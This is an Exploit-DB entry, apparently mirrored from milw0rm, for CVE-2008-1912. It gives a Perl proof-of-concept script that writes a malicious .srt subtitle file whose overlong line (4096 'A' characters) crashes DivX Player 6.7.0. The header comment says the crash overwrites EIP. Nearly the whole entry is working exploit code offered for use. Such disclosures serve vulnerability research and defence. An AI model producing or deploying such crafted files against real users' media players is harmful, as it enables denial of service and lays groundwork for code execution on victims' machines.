DivX Player 6.7.0 - '.srt' File Buffer Overflow (PoC)

Author: securfrog
type: dos
platform: windows
port: 
date_added: 2008-04-14  
date_updated: 2016-11-24  
verified: 1  
codes: OSVDB-44402;CVE-2008-1912  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comdivx67.exe  

raw file: 5453.pl  

# DIVX Player <= 6.7.0 Buffer Overflow PoC (  .SRT )
# Bug: When parsing a subtitle file with an overly long subtitle DIVX player will deadly crash  with eip overwritted:
# Replace MOVIE_FILENAME by your movie filename ( .avi )
#
#!/usr/local/bin/perl
my $file="MOVIE_FILENAME.srt";

my $payload = "A" x 4096;

open( $file, ">>$file") or die "Cannot open $file: $!";

print $file "1 \n";
print $file "00:00:01,001 --> 00:00:02,001\n";
print $file $payload;

close($file);

print "$file has been created \n";

# milw0rm.com [2008-04-15]